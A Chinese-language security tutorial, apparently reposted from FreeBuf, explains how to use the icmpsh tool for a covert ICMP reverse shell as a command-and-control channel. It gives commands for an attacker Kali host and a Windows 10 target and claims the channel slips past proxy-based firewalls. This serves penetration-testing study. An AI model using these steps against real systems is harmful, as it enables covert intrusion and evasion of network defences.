利用ICMP進行命令控制

ICMP協(xié)議工作方式簡介

Internet控制報文協(xié)議(ICMP)是Internet協(xié)議族中一個。它被用于包括路由器在內(nèi)的網(wǎng)絡設備中,用來發(fā)送錯誤報文和操作信息,表示所請求的服務不可用或是主機/路由不可達。ping命令使用第三層即網(wǎng)絡層協(xié)議,通過ICMP載荷發(fā)送消息,該數(shù)據(jù)包會被封裝上IP頭。由于MTU的限制,ICMP包的大小不能大于1500字節(jié)。

Ping命令會向目標主機發(fā)送一個IMCP的echo請求。目標主機如果回復echo響應則表示主機存活。

利用ICMP協(xié)議進行命令控制

我們發(fā)布的很多內(nèi)容中都討論了C2通道,又叫做命令控制,具體內(nèi)容可以在這里找到。而在這篇文章中,你會了解到如何將ICMP協(xié)議用作命令控制通道。網(wǎng)絡戰(zhàn)中散布著入侵者和安全研究人員,因此,我們需要備用計劃。

眾所周知,現(xiàn)在的公司變得更加智能,他們可以理解例如類型相關的攻擊在實現(xiàn)了機器的TCP反彈連接。因此我們提出了使用icmpsh作為命令控制工具的一種ICMP隱蔽shell的實現(xiàn)方法。

環(huán)境要求

攻擊機/C2通道:192.168.1.108(Kali Linux)

宿主機:192.168.1.106(Windows 10)

icmpsh:C2通道與安裝方法

icmpsh是一個簡單的ICMP反彈shell,擁有用C,Perl和Python實現(xiàn)的POSIX兼容主控端和一個win32的受控端。相比其他類似的開源工具來說,icmpsh的優(yōu)點是在目標機器上運行時不需要管理員權限。

這一工具干凈、簡單并且便攜。受控端(客戶端)使用C語言實現(xiàn)。只能運行在目標Windows機器上,而主控端(服務端)由于已經(jīng)有Nico Leidecker用C和Perl實現(xiàn)的版本,而且之后又移植到了Python上,因此可以運行在任何平臺的攻擊者機器中。

Icmpsh很容易被安裝并用作c2通道??梢酝ㄟ^Github下載并在攻擊者機器中部署icmpsh。

git clone https://github.com/inquisb/icmpsh.git

以主模式運行icmpsh(Kali Linux)

下載完成之后,使用以下命令來運行主控端。執(zhí)行之前最重要的一步是在你的機器上關閉ping回復。這樣可以防止內(nèi)核自己對ping包進行響應。

sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
syntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>
./icmpsh_m.py 192.168.1.108 192.168.1.106

服務端

以從模式運行icmpsh(Windows 10)

在宿主機器中以從模式再次安裝icmpsh工具,運行受控端的目標機器中的用戶不需要具有管理員權限。然后運行以下命令:

syntax: icmpsh.exe -t <Kali IP>
icmpsh.exe -t 192.168.1.108

在宿主機上執(zhí)行完上述命令后,攻擊者就會收到運行著受控端的機器的反彈shell。你可以從下面給出的圖片中觀察到,這臺主控端機器通過受控端機器返回的命令提示符獲取了其控制權。

和我們預期的結果完全一樣,而且由于數(shù)據(jù)是利用PING請求/回復報文通過網(wǎng)絡層傳輸,因此并不需要指定服務或者端口。這種流量是無法被基于代理的防火墻檢測到的,因此這種方式可能繞過一些防火墻規(guī)則。

攻擊成功截圖

【轉(zhuǎn)載說明】
來源:https://www.freebuf.com/sectool/210450.html
作者:Kriston

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容